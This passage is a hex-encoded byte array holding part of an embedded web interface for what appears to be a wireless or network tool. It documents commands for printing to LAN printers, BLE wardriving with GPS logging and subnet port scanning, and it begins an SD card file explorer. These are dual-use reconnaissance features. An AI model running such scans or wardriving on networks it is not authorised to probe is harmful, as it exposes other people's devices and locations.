0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x70, 0x6F, 0x77, + 0x65, 0x72, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3C, 0x2F, 0x73, + 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x50, 0x72, 0x69, 0x6E, + 0x74, 0x20, 0x63, 0x75, 0x73, 0x74, 0x6F, 0x6D, 0x20, 0x74, 0x65, 0x78, + 0x74, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x20, 0x6F, 0x6E, 0x20, 0x4C, 0x41, 0x4E, 0x2E, 0x3C, 0x62, + 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, + 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x70, 0x6F, 0x77, 0x65, 0x72, 0x70, 0x72, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x50, 0x72, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x20, 0x49, 0x50, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, + 0x74, 0x3B, 0x54, 0x65, 0x78, 0x74, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, + 0x6C, 0x74, 0x3B, 0x46, 0x6F, 0x6E, 0x74, 0x53, 0x69, 0x7A, 0x65, 0x26, + 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x41, 0x6C, 0x69, 0x67, + 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x6C, + 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x6F, 0x70, 0x74, 0x69, + 0x6F, 0x6E, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, + 0x3E, 0x20, 0x43, 0x4D, 0x20, 0x3D, 0x20, 0x43, 0x65, 0x6E, 0x74, 0x65, + 0x72, 0x20, 0x4D, 0x69, 0x64, 0x64, 0x6C, 0x65, 0x2C, 0x20, 0x54, 0x4C, + 0x20, 0x3D, 0x20, 0x54, 0x6F, 0x70, 0x20, 0x4C, 0x65, 0x66, 0x74, 0x2C, + 0x20, 0x54, 0x52, 0x20, 0x3D, 0x20, 0x54, 0x6F, 0x70, 0x20, 0x52, 0x69, + 0x67, 0x68, 0x74, 0x2C, 0x20, 0x42, 0x52, 0x20, 0x3D, 0x20, 0x42, 0x6F, + 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x52, 0x69, 0x67, 0x68, 0x74, 0x2C, 0x20, + 0x42, 0x4C, 0x20, 0x3D, 0x20, 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, + 0x4C, 0x65, 0x66, 0x74, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x62, 0x6C, 0x65, 0x77, 0x61, + 0x72, 0x64, 0x72, 0x69, 0x76, 0x69, 0x6E, 0x67, 0x3C, 0x2F, 0x73, 0x74, + 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x2F, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x42, 0x4C, 0x45, 0x20, 0x77, 0x61, + 0x72, 0x64, 0x72, 0x69, 0x76, 0x69, 0x6E, 0x67, 0x20, 0x77, 0x69, 0x74, + 0x68, 0x20, 0x47, 0x50, 0x53, 0x20, 0x6C, 0x6F, 0x67, 0x67, 0x69, 0x6E, + 0x67, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, + 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, + 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x62, 0x6C, 0x65, 0x77, 0x61, 0x72, + 0x64, 0x72, 0x69, 0x76, 0x69, 0x6E, 0x67, 0x20, 0x5B, 0x2D, 0x73, 0x5D, + 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, + 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, + 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x2D, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, + 0x74, 0x6F, 0x70, 0x20, 0x42, 0x4C, 0x45, 0x20, 0x77, 0x61, 0x72, 0x64, + 0x72, 0x69, 0x76, 0x69, 0x6E, 0x67, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x63, 0x61, + 0x6E, 0x70, 0x6F, 0x72, 0x74, 0x73, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x63, 0x61, 0x6E, 0x20, 0x70, 0x6F, + 0x72, 0x74, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, + 0x20, 0x73, 0x75, 0x62, 0x6E, 0x65, 0x74, 0x20, 0x6F, 0x72, 0x20, 0x73, + 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x20, 0x49, 0x50, 0x2E, 0x3C, + 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, + 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, + 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x73, 0x63, 0x61, 0x6E, 0x70, 0x6F, 0x72, 0x74, 0x73, + 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x5B, 0x2D, 0x43, 0x2F, 0x2D, + 0x41, 0x2F, 0x73, 0x74, 0x61, 0x72, 0x74, 0x5F, 0x70, 0x6F, 0x72, 0x74, + 0x2D, 0x65, 0x6E, 0x64, 0x5F, 0x70, 0x6F, 0x72, 0x74, 0x5D, 0x3C, 0x2F, + 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x63, 0x61, + 0x6E, 0x70, 0x6F, 0x72, 0x74, 0x73, 0x20, 0x5B, 0x49, 0x50, 0x5D, 0x20, + 0x5B, 0x2D, 0x43, 0x2F, 0x2D, 0x41, 0x2F, 0x73, 0x74, 0x61, 0x72, 0x74, + 0x5F, 0x70, 0x6F, 0x72, 0x74, 0x2D, 0x65, 0x6E, 0x64, 0x5F, 0x70, 0x6F, + 0x72, 0x74, 0x5D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, + 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, + 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, + 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x2D, 0x43, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x3A, 0x20, 0x53, 0x63, 0x61, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x6F, + 0x6E, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x73, 0x20, 0x6F, 0x6E, 0x6C, 0x79, + 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x41, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, + 0x3E, 0x3A, 0x20, 0x53, 0x63, 0x61, 0x6E, 0x20, 0x61, 0x6C, 0x6C, 0x20, + 0x70, 0x6F, 0x72, 0x74, 0x73, 0x20, 0x28, 0x31, 0x2D, 0x36, 0x35, 0x35, + 0x33, 0x35, 0x29, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x61, 0x72, 0x74, + 0x5F, 0x70, 0x6F, 0x72, 0x74, 0x2D, 0x65, 0x6E, 0x64, 0x5F, 0x70, 0x6F, + 0x72, 0x74, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x43, + 0x75, 0x73, 0x74, 0x6F, 0x6D, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x20, 0x72, + 0x61, 0x6E, 0x67, 0x65, 0x20, 0x28, 0x65, 0x2E, 0x67, 0x2E, 0x20, 0x38, + 0x30, 0x2D, 0x34, 0x34, 0x33, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x75, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, + 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, + 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x53, 0x44, 0x20, + 0x43, 0x61, 0x72, 0x64, 0x20, 0x54, 0x61, 0x62, 0x20, 0x43, 0x6F, 0x6E, + 0x74, 0x65, 0x6E, 0x74, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x69, + 0x64, 0x3D, 0x22, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, 0x22, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, + 0x74, 0x65, 0x6E, 0x74, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x67, 0x72, 0x69, 0x64, 0x22, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x53, 0x44, + 0x20, 0x43, 0x61, 0x72, 0x64, 0x20, 0x45, 0x78, 0x70, 0x6C, 0x6F, 0x72, + 0x65, 0x72, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, + 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x68, 0x32, 0x3E, 0x53, 0x44, 0x20, 0x43, 0x61, 0x72, 0x64, 0x20, + 0x46, 0x69, 0x6C, 0x65, 0x20, 0x45, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, + 0x72, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x42, 0x72, 0x65, 0x61, 0x64, + 0x63, 0x72, 0x75, 0x6D, 0x62, 0x20, 0x4E, 0x61, 0x76, 0x69, 0x67, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6E, 0x61, 0x76, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, + 0x72, 0x75, 0x6D, 0x62, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x62, 0x72, + 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x22, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, + 0x22, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, + 0x69, 0x74, 0x65, 0x6D, 0x22, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, + 0x6B, 0x3D, 0x22, 0x6E, 0x61, 0x76, 0x69, 0x67, 0x61, 0x74, 0x65, 0x54, + 0x6F, 0x42, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x28, + 0x30, 0x29, 0x22, 0x3E, 0x52, 0x6F, 0x6F, 0x74, 0x3C, 0x2F, 0x73, 0x70, + 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x6E, 0x61, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x53, 0x44, 0x20, 0x43, + 0x61, 0x72, 0x64, 0x20, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x2D, + 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x64, 0x69, 0x76, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x73, 0x64, 0x63, + 0x61, 0x72, 0x64, 0x2D, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x22, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x4C, 0x6F, 0x61, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x44, + 0x20, 0x63, 0x61, 0x72, 0x64, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x2E, + 0x2E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x53, 0x44, 0x20, 0x43, 0x61, 0x72, + 0x64, 0x20, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, 0x72, 0x65, 0x20, + 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x73, 0x64, + 0x63, 0x61, 0x72, 0x64, 0x2D, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x75, + 0x72, 0x65, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x53, + 0x44, 0x20, 0x43, 0x61, 0x72, 0x64, 0x20, 0x53, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x75, 0x72, 0x65, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x62, 0x65, + 0x20, 0x72, 0x65, 0x6E, 0x64, 0x65, 0x72, 0x65, 0x64, 0x20, 0x68, 0x65, + 0x72, 0x65, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x55, + 0x70, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, + 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x55, 0x70, 0x6C, 0x6F, 0x61, + 0x64, 0x20, 0x46, 0x69, 0x6C, 0x65, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, + 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, + 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, + 0x73, 0x64, 0x63, 0x61, 0x72, 0x64, 0x2D, 0x75, 0x70, 0x6C, 0x6F, 0x61, + 0x64, 0x22, 0x3E, 0x43, 0x68, 